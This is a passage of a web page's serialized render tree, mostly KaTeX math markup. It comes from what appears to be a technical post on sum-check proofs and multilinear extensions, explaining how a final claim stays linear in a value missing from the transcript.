},{"className":115488,"style":335},[257],[],{"type":25,"tag":216,"props":115491,"children":115493},{"className":115492},[235],[115494,115498,115555,115559,115564],{"type":25,"tag":216,"props":115495,"children":115497},{"className":115496,"style":4821},[240],[],{"type":25,"tag":216,"props":115499,"children":115501},{"className":115500},[246],[115502,115507],{"type":25,"tag":216,"props":115503,"children":115505},{"className":115504,"style":2746},[246,2145],[115506],{"type":31,"value":97823},{"type":25,"tag":216,"props":115508,"children":115510},{"className":115509},[2153],[115511],{"type":25,"tag":216,"props":115512,"children":115514},{"className":115513},[298,299],[115515,115544],{"type":25,"tag":216,"props":115516,"children":115518},{"className":115517},[304],[115519,115539],{"type":25,"tag":216,"props":115520,"children":115522},{"className":115521,"style":2264},[309],[115523],{"type":25,"tag":216,"props":115524,"children":115525},{"style":2768},[115526,115530],{"type":25,"tag":216,"props":115527,"children":115529},{"className":115528,"style":2175},[319],[],{"type":25,"tag":216,"props":115531,"children":115533},{"className":115532},[2180,2181,2182,2183],[115534],{"type":25,"tag":216,"props":115535,"children":115537},{"className":115536},[246,2145,2183],[115538],{"type":31,"value":2283},{"type":25,"tag":216,"props":115540,"children":115542},{"className":115541},[408],[115543],{"type":31,"value":411},{"type":25,"tag":216,"props":115545,"children":115547},{"className":115546},[304],[115548],{"type":25,"tag":216,"props":115549,"children":115551},{"className":115550,"style":2203},[309],[115552],{"type":25,"tag":216,"props":115553,"children":115554},{},[],{"type":25,"tag":216,"props":115556,"children":115558},{"className":115557,"style":258},[257],[],{"type":25,"tag":216,"props":115560,"children":115562},{"className":115561},[263],[115563],{"type":31,"value":266},{"type":25,"tag":216,"props":115565,"children":115567},{"className":115566,"style":258},[257],[],{"type":25,"tag":216,"props":115569,"children":115571},{"className":115570},[235],[115572,115576,115581,115586,115591,115595,115600],{"type":25,"tag":216,"props":115573,"children":115575},{"className":115574,"style":5507},[240],[],{"type":25,"tag":216,"props":115577,"children":115579},{"className":115578},[246,2145],[115580],{"type":31,"value":162},{"type":25,"tag":216,"props":115582,"children":115584},{"className":115583},[287],[115585],{"type":31,"value":1844},{"type":25,"tag":216,"props":115587,"children":115589},{"className":115588},[246],[115590],{"type":31,"value":184},{"type":25,"tag":216,"props":115592,"children":115594},{"className":115593,"style":335},[257],[],{"type":25,"tag":216,"props":115596,"children":115598},{"className":115597},[340],[115599],{"type":31,"value":3372},{"type":25,"tag":216,"props":115601,"children":115603},{"className":115602,"style":335},[257],[],{"type":25,"tag":216,"props":115605,"children":115607},{"className":115606},[235],[115608,115612,115617,115674,115679,115683,115688],{"type":25,"tag":216,"props":115609,"children":115611},{"className":115610,"style":5507},[240],[],{"type":25,"tag":216,"props":115613,"children":115615},{"className":115614},[246],[115616],{"type":31,"value":331},{"type":25,"tag":216,"props":115618,"children":115620},{"className":115619},[246],[115621,115626],{"type":25,"tag":216,"props":115622,"children":115624},{"className":115623,"style":2746},[246,2145],[115625],{"type":31,"value":97823},{"type":25,"tag":216,"props":115627,"children":115629},{"className":115628},[2153],[115630],{"type":25,"tag":216,"props":115631,"children":115633},{"className":115632},[298,299],[115634,115663],{"type":25,"tag":216,"props":115635,"children":115637},{"className":115636},[304],[115638,115658],{"type":25,"tag":216,"props":115639,"children":115641},{"className":115640,"style":2264},[309],[115642],{"type":25,"tag":216,"props":115643,"children":115644},{"style":2768},[115645,115649],{"type":25,"tag":216,"props":115646,"children":115648},{"className":115647,"style":2175},[319],[],{"type":25,"tag":216,"props":115650,"children":115652},{"className":115651},[2180,2181,2182,2183],[115653],{"type":25,"tag":216,"props":115654,"children":115656},{"className":115655},[246,2145,2183],[115657],{"type":31,"value":2283},{"type":25,"tag":216,"props":115659,"children":115661},{"className":115660},[408],[115662],{"type":31,"value":411},{"type":25,"tag":216,"props":115664,"children":115666},{"className":115665},[304],[115667],{"type":25,"tag":216,"props":115668,"children":115670},{"className":115669,"style":2203},[309],[115671],{"type":25,"tag":216,"props":115672,"children":115673},{},[],{"type":25,"tag":216,"props":115675,"children":115677},{"className":115676},[427],[115678],{"type":31,"value":1882},{"type":25,"tag":216,"props":115680,"children":115682},{"className":115681,"style":335},[257],[],{"type":25,"tag":216,"props":115684,"children":115686},{"className":115685},[340],[115687],{"type":31,"value":3533},{"type":25,"tag":216,"props":115689,"children":115691},{"className":115690,"style":335},[257],[],{"type":25,"tag":216,"props":115693,"children":115695},{"className":115694},[235],[115696,115700,115771,115775,115780],{"type":25,"tag":216,"props":115697,"children":115699},{"className":115698,"style":114390},[240],[],{"type":25,"tag":216,"props":115701,"children":115703},{"className":115702},[246],[115704,115709],{"type":25,"tag":216,"props":115705,"children":115707},{"className":115706,"style":2673},[246,2145],[115708],{"type":31,"value":2676},{"type":25,"tag":216,"props":115710,"children":115712},{"className":115711},[2153],[115713],{"type":25,"tag":216,"props":115714,"children":115716},{"className":115715},[298,299],[115717,115760],{"type":25,"tag":216,"props":115718,"children":115720},{"className":115719},[304],[115721,115755],{"type":25,"tag":216,"props":115722,"children":115724},{"className":115723,"style":2264},[309],[115725],{"type":25,"tag":216,"props":115726,"children":115727},{"style":2696},[115728,115732],{"type":25,"tag":216,"props":115729,"children":115731},{"className":115730,"style":2175},[319],[],{"type":25,"tag":216,"props":115733,"children":115735},{"className":115734},[2180,2181,2182,2183],[115736],{"type":25,"tag":216,"props":115737,"children":115739},{"className":115738},[246,2183],[115740,115745,115750],{"type":25,"tag":216,"props":115741,"children":115743},{"className":115742},[246,2145,2183],[115744],{"type":31,"value":2283},{"type":25,"tag":216,"props":115746,"children":115748},{"className":115747},[340,2183],[115749],{"type":31,"value":3372},{"type":25,"tag":216,"props":115751,"children":115753},{"className":115752},[246,2183],[115754],{"type":31,"value":184},{"type":25,"tag":216,"props":115756,"children":115758},{"className":115757},[408],[115759],{"type":31,"value":411},{"type":25,"tag":216,"props":115761,"children":115763},{"className":115762},[304],[115764],{"type":25,"tag":216,"props":115765,"children":115767},{"className":115766,"style":114459},[309],[115768],{"type":25,"tag":216,"props":115769,"children":115770},{},[],{"type":25,"tag":216,"props":115772,"children":115774},{"className":115773,"style":335},[257],[],{"type":25,"tag":216,"props":115776,"children":115778},{"className":115777},[340],[115779],{"type":31,"value":343},{"type":25,"tag":216,"props":115781,"children":115783},{"className":115782,"style":335},[257],[],{"type":25,"tag":216,"props":115785,"children":115787},{"className":115786},[235],[115788,115792],{"type":25,"tag":216,"props":115789,"children":115791},{"className":115790,"style":4821},[240],[],{"type":25,"tag":216,"props":115793,"children":115795},{"className":115794},[246],[115796,115801],{"type":25,"tag":216,"props":115797,"children":115799},{"className":115798,"style":2746},[246,2145],[115800],{"type":31,"value":97823},{"type":25,"tag":216,"props":115802,"children":115804},{"className":115803},[2153],[115805],{"type":25,"tag":216,"props":115806,"children":115808},{"className":115807},[298,299],[115809,115838],{"type":25,"tag":216,"props":115810,"children":115812},{"className":115811},[304],[115813,115833],{"type":25,"tag":216,"props":115814,"children":115816},{"className":115815,"style":2264},[309],[115817],{"type":25,"tag":216,"props":115818,"children":115819},{"style":2768},[115820,115824],{"type":25,"tag":216,"props":115821,"children":115823},{"className":115822,"style":2175},[319],[],{"type":25,"tag":216,"props":115825,"children":115827},{"className":115826},[2180,2181,2182,2183],[115828],{"type":25,"tag":216,"props":115829,"children":115831},{"className":115830},[246,2145,2183],[115832],{"type":31,"value":2283},{"type":25,"tag":216,"props":115834,"children":115836},{"className":115835},[408],[115837],{"type":31,"value":411},{"type":25,"tag":216,"props":115839,"children":115841},{"className":115840},[304],[115842],{"type":25,"tag":216,"props":115843,"children":115845},{"className":115844,"style":2203},[309],[115846],{"type":25,"tag":216,"props":115847,"children":115848},{},[],{"type":25,"tag":38,"props":115850,"children":115851},{},[115852,115853,115949,115951,115976,115978,116003],{"type":31,"value":50098},{"type":25,"tag":9267,"props":115854,"children":115855},{},[115856,115858],{"type":31,"value":115857},"linear in ",{"type":25,"tag":82,"props":115859,"children":115861},{"className":115860},[212,4696],[115862],{"type":25,"tag":216,"props":115863,"children":115865},{"className":115864},[224],[115866],{"type":25,"tag":216,"props":115867,"children":115869},{"className":115868,"ariaHidden":230},[229],[115870],{"type":25,"tag":216,"props":115871,"children":115873},{"className":115872},[235],[115874,115878],{"type":25,"tag":216,"props":115875,"children":115877},{"className":115876,"style":114390},[240],[],{"type":25,"tag":216,"props":115879,"children":115881},{"className":115880},[246],[115882,115887],{"type":25,"tag":216,"props":115883,"children":115885},{"className":115884,"style":2673},[246,2145],[115886],{"type":31,"value":2676},{"type":25,"tag":216,"props":115888,"children":115890},{"className":115889},[2153],[115891],{"type":25,"tag":216,"props":115892,"children":115894},{"className":115893},[298,299],[115895,115938],{"type":25,"tag":216,"props":115896,"children":115898},{"className":115897},[304],[115899,115933],{"type":25,"tag":216,"props":115900,"children":115902},{"className":115901,"style":2264},[309],[115903],{"type":25,"tag":216,"props":115904,"children":115905},{"style":2696},[115906,115910],{"type":25,"tag":216,"props":115907,"children":115909},{"className":115908,"style":2175},[319],[],{"type":25,"tag":216,"props":115911,"children":115913},{"className":115912},[2180,2181,2182,2183],[115914],{"type":25,"tag":216,"props":115915,"children":115917},{"className":115916},[246,2183],[115918,115923,115928],{"type":25,"tag":216,"props":115919,"children":115921},{"className":115920},[246,2145,2183],[115922],{"type":31,"value":2283},{"type":25,"tag":216,"props":115924,"children":115926},{"className":115925},[340,2183],[115927],{"type":31,"value":3372},{"type":25,"tag":216,"props":115929,"children":115931},{"className":115930},[246,2183],[115932],{"type":31,"value":184},{"type":25,"tag":216,"props":115934,"children":115936},{"className":115935},[408],[115937],{"type":31,"value":411},{"type":25,"tag":216,"props":115939,"children":115941},{"className":115940},[304],[115942],{"type":25,"tag":216,"props":115943,"children":115945},{"className":115944,"style":114459},[309],[115946],{"type":25,"tag":216,"props":115947,"children":115948},{},[],{"type":31,"value":115950},"! By induction, the final claim is linear in the original ",{"type":25,"tag":82,"props":115952,"children":115954},{"className":115953},[212,4696],[115955],{"type":25,"tag":216,"props":115956,"children":115958},{"className":115957},[224],[115959],{"type":25,"tag":216,"props":115960,"children":115962},{"className":115961,"ariaHidden":230},[229],[115963],{"type":25,"tag":216,"props":115964,"children":115966},{"className":115965},[235],[115967,115971],{"type":25,"tag":216,"props":115968,"children":115970},{"className":115969,"style":4793},[240],[],{"type":25,"tag":216,"props":115972,"children":115974},{"className":115973,"style":2673},[246,2145],[115975],{"type":31,"value":2676},{"type":31,"value":115977},". If ",{"type":25,"tag":82,"props":115979,"children":115981},{"className":115980},[212,4696],[115982],{"type":25,"tag":216,"props":115983,"children":115985},{"className":115984},[224],[115986],{"type":25,"tag":216,"props":115987,"children":115989},{"className":115988,"ariaHidden":230},[229],[115990],{"type":25,"tag":216,"props":115991,"children":115993},{"className":115992},[235],[115994,115998],{"type":25,"tag":216,"props":115995,"children":115997},{"className":115996,"style":4793},[240],[],{"type":25,"tag":216,"props":115999,"children":116001},{"className":116000,"style":2673},[246,2145],[116002],{"type":31,"value":2676},{"type":31,"value":116004}," isn't in the transcript, we can solve for it.",{"type":25,"tag":607,"props":116006,"children":116008},{"id":116007},"multilinear-extensions-mles",[116009],{"type":31,"value":116010},"Multilinear Extensions (MLEs)",{"type":25,"tag":38,"props":116012,"children":116013},{},[116014,116016,116101],{"type":31,"value":116015},"An MLE is just the polynomial view of a table over ",{"type":25,"tag":82,"props":116017,"children":116019},{"className":116018},[212,4696],[116020],{"type":25,"tag":216,"props":116021,"children":116023},{"className":116022},[224],[116024],{"type":25,"tag":216,"props":116025,"children":116027},{"className":116026,"ariaHidden":230},[229],[116028],{"type":25,"tag":216,"props":116029,"children":116031},{"className":116030},[235],[116032,116036,116041,116046,116051,116055,116060],{"type":25,"tag":216,"props":116033,"children":116035},{"className":116034,"style":5507},[240],[],{"type":25,"tag":216,"props":116037,"children":116039},{"className":116038},[287],[116040],{"type":31,"value":80584},{"type":25,"tag":216,"props":116042,"children":116044},{"className":116043},[246],[116045],{"type":31,"value":1876},{"type":25,"tag":216,"props":116047,"children":116049},{"className":116048},[1858],[116050],{"type":31,"value":1861},{"type":25,"tag":216,"props":116052,"children":116054},{"className":116053,"style":1865},[257],[],{"type":25,"tag":216,"props":116056,"children":116058},{"className":116057},[246],[116059],{"type":31,"value":184},{"type":25,"tag":216,"props":116061,"children":116063},{"className":116062},[427],[116064,116069],{"type":25,"tag":216,"props":116065,"children":116067},{"className":116066},[427],[116068],{"type":31,"value":38097},{"type":25,"tag":216,"props":116070,"children":116072},{"className":116071},[2153],[116073],{"type":25,"tag":216,"props":116074,"children":116076},{"className":116075},[298],[116077],{"type":25,"tag":216,"props":116078,"children":116080},{"className":116079},[304],[116081],{"type":25,"tag":216,"props":116082,"children":116084},{"className":116083,"style":6077},[309],[116085],{"type":25,"tag":216,"props":116086,"children":116087},{"style":6098},[116088,116092],{"type":25,"tag":216,"props":116089,"children":116091},{"className":116090,"style":2175},[319],[],{"type":25,"tag":216,"props":116093,"children":116095},{"className":116094},[2180,2181,2182,2183],[116096],{"type":25,"tag":216,"props":116097,"children":116099},{"className":116098},[246,2145,2183],[116100],{"type":31,"value":2190},{"type":31,"value":116102},": it matches the table on Boolean points and extends it to field points.",{"type":25,"tag":38,"props":116104,"children":116105},{},[116106],{"type":31,"value":116107},"For this post, the only property you need is:",{"type":25,"tag":38,"props":116109,"children":116110},{},[116111],{"type":25,"tag":82,"props":116112,"children":116114},{"className":116113},[212,4696],[116115],{"type":25,"tag":216,"props":116116,"children":116118},{"className":116117},[224],[116119],{"type":25,"tag":216,"props":116120,"children":116122},{"className":116121,"ariaHidden":230},[229],[116123,116284,116555],{"type":25,"tag":216,"props":116124,"children":116126},{"className":116125},[235],[116127,116132,116200,116205,116266,116271,116275,116280],{"type":25,"tag":216,"props":116128,"children":116131},{"className":116129,"style":116130},[240],"height:1.1813em;vertical-align:-0.25em;",[],{"type":25,"tag":216,"props":116133,"children":116136},{"className":116134},[246,116135],"accent",[116137],{"type":25,"tag":216,"props":116138,"children":116140},{"className":116139},[298,299],[116141,116188],{"type":25,"tag":216,"props":116142,"children":116144},{"className":116143},[304],[116145,116183],{"type":25,"tag":216,"props":116146,"children":116149},{"className":116147,"style":116148},[309],"height:0.9313em;",[116150,116163],{"type":25,"tag":216,"props":116151,"children":116153},{"style":116152},"top:-3em;",[116154,116158],{"type":25,"tag":216,"props":116155,"children":116157},{"className":116156,"style":320},[319],[],{"type":25,"tag":216,"props":116159,"children":116161},{"className":116160,"style":99353},[246,2145],[116162],{"type":31,"value":37041},{"type":25,"tag":216,"props":116164,"children":116166},{"style":116165},"top:-3.6134em;",[116167,116171],{"type":25,"tag":216,"props":116168,"children":116170},{"className":116169,"style":320},[319],[],{"type":25,"tag":216,"props":116172,"children":116176},{"className":116173,"style":116175},[116174],"accent-body","left:-0.0833em;",[116177],{"type":25,"tag":216,"props":116178,"children":116180},{"className":116179},[246],[116181],{"type":31,"value":116182},"~",{"type":25,"tag":216,"props":116184,"children":116186},{"className":116185},[408],[116187],{"type":31,"value":411},{"type":25,"tag":216,"props":116189,"children":116191},{"className":116190},[304],[116192],{"type":25,"tag":216,"props":116193,"children":116196},{"className":116194,"style":116195},[309],"height:0.1944em;",[116197],{"type":25,"tag":216,"props":116198,"children":116199},{},[],{"type":25,"tag":216,"props":116201,"children":116203},{"className":116202},[287],[116204],{"type":31,"value":1844},{"type":25,"tag":216,"props":116206,"children":116208},{"className":116207},[246,116135],[116209],{"type":25,"tag":216,"props":116210,"children":116212},{"className":116211},[298],[116213],{"type":25,"tag":216,"props":116214,"children":116216},{"className":116215},[304],[116217],{"type":25,"tag":216,"props":116218,"children":116221},{"className":116219,"style":116220},[309],"height:0.714em;",[116222,116234],{"type":25,"tag":216,"props":116223,"children":116224},{"style":116152},[116225,116229],{"type":25,"tag":216,"props":116226,"children":116228},{"className":116227,"style":320},[319],[],{"type":25,"tag":216,"props":116230,"children":116232},{"className":116231,"style":2746},[246,2145],[116233],{"type":31,"value":97823},{"type":25,"tag":216,"props":116235,"children":116236},{"style":116152},[116237,116241],{"type":25,"tag":216,"props":116238,"children":116240},{"className":116239,"style":320},[319],[],{"type":25,"tag":216,"props":116242,"children":116245},{"className":116243,"style":116244},[116174],"left:-0.1799em;",[116246],{"type":25,"tag":216,"props":116247,"children":116251},{"className":116248,"style":116250},[116249],"overlay","height:0.714em;width:0.471em;",[116252],{"type":25,"tag":38230,"props":116253,"children":116260},{"xmlns":116254,"width":116255,"height":116256,"style":116257,"viewBox":116258,"preserveAspectRatio":116259},"http://www.w3.org/2000/svg","0.471em","0.714em","width:0.471em","0 0 471 714","xMinYMin",[116261],{"type":25,"tag":116262,"props":116263,"children":116265},"path",{"d":116264},"M377 20c0-5.333 1.833-10 5.5-14S391 0 397 0c4.667 0 8.667 1.667 12 5\n3.333 2.667 6.667 9 10 19 6.667 24.667 20.333 43.667 41 57 7.333 4.667 11\n10.667 11 18 0 6-1 10-3 12s-6.667 5-14 9c-28.667 14.667-53.667 35.667-75 63\n-1.333 1.333-3.167 3.5-5.5 6.5s-4 4.833-5 5.5c-1 .667-2.5 1.333-4.5 2s-4.333 1\n-7 1c-4.667 0-9.167-1.833-13.5-5.5S337 184 337 178c0-12.667 15.667-32.333 47-59\nH213l-171-1c-8.667-6-13-12.333-13-19 0-4.667 4.333-11.333 13-20h359\nc-16-25.333-24-45-24-59z",[],{"type":25,"tag":216,"props":116267,"children":116269},{"className":116268},[427],[116270],{"type":31,"value":1882},{"type":25,"tag":216,"props":116272,"children":116274},{"className":116273,"style":258},[257],[],{"type":25,"tag":216,"props":116276,"children":116278},{"className":116277},[263],[116279],{"type":31,"value":266},{"type":25,"tag":216,"props":116281,"children":116283},{"className":116282,"style":258},[257],[],{"type":25,"tag":216,"props":116285,"children":116287},{"className":116286},[235],[116288,116293,116473,116477,116482,116487,116537,116542,116546,116551],{"type":25,"tag":216,"props":116289,"children":116292},{"className":116290,"style":116291},[240],"height:1.4918em;vertical-align:-0.5144em;",[],{"type":25,"tag":216,"props":116294,"children":116296},{"className":116295},[1835],[116297,116302],{"type":25,"tag":216,"props":116298,"children":116300},{"className":116299,"style":25578},[1835,4042,25577],[116301],{"type":31,"value":4046},{"type":25,"tag":216,"props":116303,"children":116305},{"className":116304},[2153],[116306],{"type":25,"tag":216,"props":116307,"children":116309},{"className":116308},[298,299],[116310,116461],{"type":25,"tag":216,"props":116311,"children":116313},{"className":116312},[304],[116314,116456],{"type":25,"tag":216,"props":116315,"children":116317},{"className":116316,"style":5091},[309],[116318],{"type":25,"tag":216,"props":116319,"children":116321},{"style":116320},"top:-2.3606em;margin-left:0em;margin-right:0.05em;",[116322,116326],{"type":25,"tag":216,"props":116323,"children":116325},{"className":116324,"style":2175},[319],[],{"type":25,"tag":216,"props":116327,"children":116329},{"className":116328},[2180,2181,2182,2183],[116330],{"type":25,"tag":216,"props":116331,"children":116333},{"className":116332},[246,2183],[116334,116388,116393,116398,116403,116408,116413],{"type":25,"tag":216,"props":116335,"children":116337},{"className":116336},[246,116135,2183],[116338],{"type":25,"tag":216,"props":116339,"children":116341},{"className":116340},[298],[116342],{"type":25,"tag":216,"props":116343,"children":116345},{"className":116344},[304],[116346],{"type":25,"tag":216,"props":116347,"children":116350},{"className":116348,"style":116349},[309],"height:0.9774em;",[116351,116365],{"type":25,"tag":216,"props":116352,"children":116354},{"style":116353},"top:-2.714em;",[116355,116360],{"type":25,"tag":216,"props":116356,"children":116359},{"className":116357,"style":116358},[319],"height:2.714em;",[],{"type":25,"tag":216,"props":116361,"children":116363},{"className":116362},[246,2145,2183],[116364],{"type":31,"value":7165},{"type":25,"tag":216,"props":116366,"children":116368},{"style":116367},"top:-2.9774em;",[116369,116373],{"type":25,"tag":216,"props":116370,"children":116372},{"className":116371,"style":116358},[319],[],{"type":25,"tag":216,"props":116374,"children":116377},{"className":116375,"style":116376},[116174],"left:-0.2355em;",[116378],{"type":25,"tag":216,"props":116379,"children":116381},{"className":116380,"style":116250},[116249,2183],[116382],{"type":25,"tag":38230,"props":116383,"children":116384},{"xmlns":116254,"width":116255,"height":116256,"style":116257,"viewBox":116258,"preserveAspectRatio":116259},[116385],{"type":25,"tag":116262,"props":116386,"children":116387},{"d":116264},[],{"type":25,"tag":216,"props":116389,"children":116391},{"className":116390},[263,2183],[116392],{"type":31,"value":25641},{"type":25,"tag":216,"props":116394,"children":116396},{"className":116395},[287,2183],[116397],{"type":31,"value":80584},{"type":25,"tag":216,"props":116399,"children":116401},{"className":116400},[246,2183],[116402],{"type":31,"value":1876},{"type":25,"tag":216,"props":116404,"children":116406},{"className":116405},[1858,2183],[116407],{"type":31,"value":1861},{"type":25,"tag":216,"props":116409,"children":116411},{"className":116410},[246,2183],[116412],{"type":31,"value":184},{"type":25,"tag":216,"props":116414,"children":116416},{"className":116415},[427,2183],[116417,116422],{"type":25,"tag":216,"props":116418,"children":116420},{"className":116419},[427,2183],[116421],{"type":31,"value":38097},{"type":25,"tag":216,"props":116423,"children":116425},{"className":116424},[2153],[116426],{"type":25,"tag":216,"props":116427,"children":116429},{"className":116428},[298],[116430],{"type":25,"tag":216,"props":116431,"children":116433},{"className":116432},[304],[116434],{"type":25,"tag":216,"props":116435,"children":116438},{"className":116436,"style":116437},[309],"height:0.5935em;",[116439],{"type":25,"tag":216,"props":116440,"children":116442},{"style":116441},"top:-2.786em;margin-right:0.0714em;",[116443,116447],{"type":25,"tag":216,"props":116444,"children":116446},{"className":116445,"style":5100},[319],[],{"type":25,"tag":216,"props":116448,"children":116450},{"className":116449},[2180,5105,5106,2183],[116451],{"type":25,"tag":216,"props":116452,"children":116454},{"className":116453},[246,2145,2183],[116455],{"type":31,"value":2190},{"type":25,"tag":216,"props":116457,"children":116459},{"className":116458},[408],[116460],{"type":31,"value":411},{"type":25,"tag":216,"props":116462,"children":116464},{"className":116463},[304],[116465],{"type":25,"tag":216,"props":116466,"children":116469},{"className":116467,"style":116468},[309],"height:0.5144em;",[116470],{"type":25,"tag":216,"props":116471,"children":116472},{},[],{"type":25,"tag":216,"props":116474,"children":116476},{"className":116475,"style":1865},[257],[],{"type":25,"tag":216,"props":116478,"children":116480},{"className":116479,"style":99353},[246,2145],[116481],{"type":31,"value":37041},{"type":25,"tag":216,"props":116483,"children":116485},{"className":116484},[287],[116486],{"type":31,"value":1844},{"type":25,"tag":216,"props":116488,"children":116490},{"className":116489},[246,116135],[116491],{"type":25,"tag":216,"props":116492,"children":116494},{"className":116493},[298],[116495],{"type":25,"tag":216,"props":116496,"children":116498},{"className":116497},[304],[116499],{"type":25,"tag":216,"props":116500,"children":116502},{"className":116501,"style":116349},[309],[116503,116515],{"type":25,"tag":216,"props":116504,"children":116505},{"style":116152},[116506,116510],{"type":25,"tag":216,"props":116507,"children":116509},{"className":116508,"style":320},[319],[],{"type":25,"tag":216,"props":116511,"children":116513},{"className":116512},[246,2145],[116514],{"type":31,"value":7165},{"type":25,"tag":216,"props":116516,"children":116518},{"style":116517},"top:-3.2634em;",[116519,116523],{"type":25,"tag":216,"props":116520,"children":116522},{"className":116521,"style":320},[319],[],{"type":25,"tag":216,"props":116524,"children":116526},{"className":116525,"style":116376},[116174],[116527],{"type":25,"tag":216,"props":116528,"children":116530},{"className":116529,"style":116250},[116249],[116531],{"type":25,"tag":38230,"props":116532,"children":116533},{"xmlns":116254,"width":116255,"height":116256,"style":116257,"viewBox":116258,"preserveAspectRatio":116259},[116534],{"type":25,"tag":116262,"props":116535,"children":116536},{"d":116264},[],{"type":25,"tag":216,"props":116538,"children":116540},{"className":116539},[427],[116541],{"type":31,"value":1882},{"type":25,"tag":216,"props":116543,"children":116545},{"className":116544,"style":335},[257],[],{"type":25,"tag":216,"props":116547,"children":116549},{"className":116548},[340],[116550],{"type":31,"value":343},{"type":25,"tag":216,"props":116552,"children":116554},{"className":116553,"style":335},[257],[],{"type":25,"tag":216,"props":116556,"children":116558},{"className":116557},[235],[116559,116564,116574,116579,116628,116633,116637,116686],{"type":25,"tag":216,"props":116560,"children":116563},{"className":116561,"style":116562},[240],"height:1.2274em;vertical-align:-0.25em;",[],{"type":25,"tag":216,"props":116565,"children":116567},{"className":116566},[246,31],[116568],{"type":25,"tag":216,"props":116569,"children":116571},{"className":116570},[246],[116572],{"type":31,"value":116573},"eq",{"type":25,"tag":216,"props":116575,"children":116577},{"className":116576},[287],[116578],{"type":31,"value":1844},{"type":25,"tag":216,"props":116580,"children":116582},{"className":116581},[246,116135],[116583],{"type":25,"tag":216,"props":116584,"children":116586},{"className":116585},[298],[116587],{"type":25,"tag":216,"props":116588,"children":116590},{"className":116589},[304],[116591],{"type":25,"tag":216,"props":116592,"children":116594},{"className":116593,"style":116349},[309],[116595,116607],{"type":25,"tag":216,"props":116596,"children":116597},{"style":116152},[116598,116602],{"type":25,"tag":216,"props":116599,"children":116601},{"className":116600,"style":320},[319],[],{"type":25,"tag":216,"props":116603,"children":116605},{"className":116604},[246,2145],[116606],{"type":31,"value":7165},{"type":25,"tag":216,"props":116608,"children":116609},{"style":116517},[116610,116614],{"type":25,"tag":216,"props":116611,"children":116613},{"className":116612,"style":320},[319],[],{"type":25,"tag":216,"props":116615,"children":116617},{"className":116616,"style":116376},[116174],[116618],{"type":25,"tag":216,"props":116619,"children":116621},{"className":116620,"style":116250},[116249],[116622],{"type":25,"tag":38230,"props":116623,"children":116624},{"xmlns":116254,"width":116255,"height":116256,"style":116257,"viewBox":116258,"preserveAspectRatio":116259},[116625],{"type":25,"tag":116262,"props":116626,"children":116627},{"d":116264},[],{"type":25,"tag":216,"props":116629,"children":116631},{"className":116630},[1858],[116632],{"type":31,"value":1861},{"type":25,"tag":216,"props":116634,"children":116636},{"className":116635,"style":1865},[257],[],{"type":25,"tag":216,"props":116638,"children":116640},{"className":116639},[246,116135],[116641],{"type":25,"tag":216,"props":116642,"children":116644},{"className":116643},[298],[116645],{"type":25,"tag":216,"props":116646,"children":116648},{"className":116647},[304],[116649],{"type":25,"tag":216,"props":116650,"children":116652},{"className":116651,"style":116220},[309],[116653,116665],{"type":25,"tag":216,"props":116654,"children":116655},{"style":116152},[116656,116660],{"type":25,"tag":216,"props":116657,"children":116659},{"className":116658,"style":320},[319],[],{"type":25,"tag":216,"props":116661,"children":116663},{"className":116662,"style":2746},[246,2145],[116664],{"type":31,"value":97823},{"type":25,"tag":216,"props":116666,"children":116667},{"style":116152},[116668,116672],{"type":25,"tag":216,"props":116669,"children":116671},{"className":116670,"style":320},[319],[],{"type":25,"tag":216,"props":116673,"children":116675},{"className":116674,"style":116244},[116174],[116676],{"type":25,"tag":216,"props":116677,"children":116679},{"className":116678,"style":116250},[116249],[116680],{"type":25,"tag":38230,"props":116681,"children":116682},{"xmlns":116254,"width":116255,"height":116256,"style":116257,"viewBox":116258,"preserveAspectRatio":116259},[116683],{"type":25,"tag":116262,"props":116684,"children":116685},{"d":116264},[],{"type":25,"tag":216,"props":116687,"children":116689},{"className":116688},[427],[116690],{"type":31,"value":1882},{"type":25,"tag":38,"props":116692,"children":116693},{},[116694,116696,116765,116767,116913,116915,117054,117056,117140],{"type":31,"value":116695},"At a fixed challenge point ",{"type":25,"tag":82,"props":116697,"children":116699},{"className":116698},[212,4696],[116700],{"type":25,"tag":216,"props":116701,"children":116703},{"className":116702},[224],[116704],{"type":25,"tag":216,"props":116705,"children":116707},{"className":116706,"ariaHidden":230},[229],[116708],{"type":25,"tag":216,"props":116709,"children":116711},{"className":116710},[235],[116712,116716],{"type":25,"tag":216,"props":116713,"children":116715},{"className":116714,"style":116220},[240],[],{"type":25,"tag":216,"props":116717,"children":116719},{"className":116718},[246,116135],[116720],{"type":25,"tag":216,"props":116721,"children":116723},{"className":116722},[298],[116724],{"type":25,"tag":216,"props":116725,"children":116727},{"className":116726},[304],[116728],{"type":25,"tag":216,"props":116729,"children":116731},{"className":116730,"style":116220},[309],[116732,116744],{"type":25,"tag":216,"props":116733,"children":116734},{"style":116152},[116735,116739],{"type":25,"tag":216,"props":116736,"children":116738},{"className":116737,"style":320},[319],[],{"type":25,"tag":216,"props":116740,"children":116742},{"className":116741,"style":2746},[246,2145],[116743],{"type":31,"value":97823},{"type":25,"tag":216,"props":116745,"children":116746},{"style":116152},[116747,116751],{"type":25,"tag":216,"props":116748,"children":116750},{"className":116749,"style":320},[319],[],{"type":25,"tag":216,"props":116752,"children":116754},{"className":116753,"style":116244},[116174],[116755],{"type":25,"tag":216,"props":116756,"children":116758},{"className":116757,"style":116250},[116249],[116759],{"type":25,"tag":38230,"props":116760,"children":116761},{"xmlns":116254,"width":116255,"height":116256,"style":116257,"viewBox":116258,"preserveAspectRatio":116259},[116762],{"type":25,"tag":116262,"props":116763,"children":116764},{"d":116264},[],{"type":31,"value":116766},", the coefficients ",{"type":25,"tag":82,"props":116768,"children":116770},{"className":116769},[212,4696],[116771],{"type":25,"tag":216,"props":116772,"children":116774},{"className":116773},[224],[116775],{"type":25,"tag":216,"props":116776,"children":116778},{"className":116777,"ariaHidden":230},[229],[116779],{"type":25,"tag":216,"props":116780,"children":116782},{"className":116781},[235],[116783,116787,116796,116801,116850,116855,116859,116908],{"type":25,"tag":216,"props":116784,"children":116786},{"className":116785,"style":116562},[240],[],{"type":25,"tag":216,"props":116788,"children":116790},{"className":116789},[246,31],[116791],{"type":25,"tag":216,"props":116792,"children":116794},{"className":116793},[246],[116795],{"type":31,"value":116573},{"type":25,"tag":216,"props":116797,"children":116799},{"className":116798},[287],[116800],{"type":31,"value":1844},{"type":25,"tag":216,"props":116802,"children":116804},{"className":116803},[246,116135],[116805],{"type":25,"tag":216,"props":116806,"children":116808},{"className":116807},[298],[116809],{"type":25,"tag":216,"props":116810,"children":116812},{"className":116811},[304],[116813],{"type":25,"tag":216,"props":116814,"children":116816},{"className":116815,"style":116349},[309],[116817,116829],